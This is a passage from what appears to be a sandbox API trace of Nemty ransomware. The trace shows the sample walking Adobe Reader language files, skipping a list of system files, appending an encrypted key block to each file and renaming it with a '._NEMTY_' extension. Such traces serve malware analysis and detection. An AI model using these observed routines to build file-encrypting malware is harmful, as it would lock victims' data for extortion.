nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.737] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.737] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.738] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.738] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.738] CloseHandle (hObject=0x2e8) returned 1 [0214.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.738] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt._nemty_kgobjgd_")) returned 1 [0214.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.739] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_LY.txt", cAlternateFileName="DID7B2~1.TXT")) returned 1 [0214.739] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2=".") returned 1 [0214.739] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="..") returned 1 [0214.739] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="...") returned 1 [0214.739] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="windows") returned -1 [0214.739] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.739] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="rsa") returned -1 [0214.739] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="NTDETECT.COM") returned -1 [0214.739] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="ntldr") returned -1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="MSDOS.SYS") returned -1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="IO.SYS") returned -1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="boot.ini") returned 1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="boot.ini") returned 1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="ntuser.dat") returned -1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="desktop.ini") returned 1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="CONFIG.SYS") returned 1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="RECYCLER") returned -1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="bootmgr") returned 1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="programdata") returned -1 [0214.740] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2="appdata") returned 1 [0214.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_LY.txt", lpUsedDefaultChar=0x0) returned 30 [0214.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_LY.txt", lpUsedDefaultChar=0x0) returned 30 [0214.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_LY.txt", lpUsedDefaultChar=0x0) returned 30 [0214.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_LY.txt", lpUsedDefaultChar=0x0) returned 30 [0214.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.741] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.741] Sleep (dwMilliseconds=0x5) [0214.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33a31390, dwHighDateTime=0x1d561e8)) [0214.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33a31390, dwHighDateTime=0x1d561e8)) [0214.747] GetLastError () returned 0x0 [0214.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.747] GetLastError () returned 0x0 [0214.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.748] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.748] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.748] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.748] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="Q3pJw2n1PTUoyjEJVq+5MhZqQxGXBO/80x21nPUTsPhXSpcTZzlS1fA4cCdjtiZ5\r\nXth2O2ypgmPjQvLhHKtkic4lKGXQr5CW/hwrvyo1Hl1V5jX6Z5g46R157Kuvd7oS\r\nzIajKabT9LSLK2PLx9yDlkr9MG1H+xIGjuskr52MEYa2VUTEW3yKRDbavqNM/MFM\r\nU2vZKxKCXA1BsFdevlm1y1N7agMbnc+wIfn6RQqtppeZIX0VFVPa0LgcQ3JttjNj\r\n5STrvMPXqWlc9XDejOL5/+6wvfQzoXR01Q0STx7JmC1w5f3Cb54eBseVYGaJnZ1m\r\nnFXByDJaava5JHmsrJHUag==\r\n", pcchString=0x653e5dc) returned 1 [0214.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.748] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.749] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.749] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.749] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.752] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.752] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.753] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.753] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.753] CloseHandle (hObject=0x2e8) returned 1 [0214.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.753] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt._nemty_kgobjgd_")) returned 1 [0214.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.755] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3d9d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_MA.txt", cAlternateFileName="DIEC69~1.TXT")) returned 1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2=".") returned 1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="..") returned 1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="...") returned 1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="windows") returned -1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="rsa") returned -1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="NTDETECT.COM") returned -1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="ntldr") returned -1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="MSDOS.SYS") returned -1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="IO.SYS") returned -1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="boot.ini") returned 1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="boot.ini") returned 1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.755] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="ntuser.dat") returned -1 [0214.756] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="desktop.ini") returned 1 [0214.756] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="CONFIG.SYS") returned 1 [0214.756] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="RECYCLER") returned -1 [0214.756] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.756] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="bootmgr") returned 1 [0214.756] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="programdata") returned -1 [0214.756] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2="appdata") returned 1 [0214.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_MA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_MA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_MA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_MA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_MA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_MA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_MA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_MA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_MA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_MA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_MA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_MA.txt", lpUsedDefaultChar=0x0) returned 30 [0214.756] HeapFree (in: 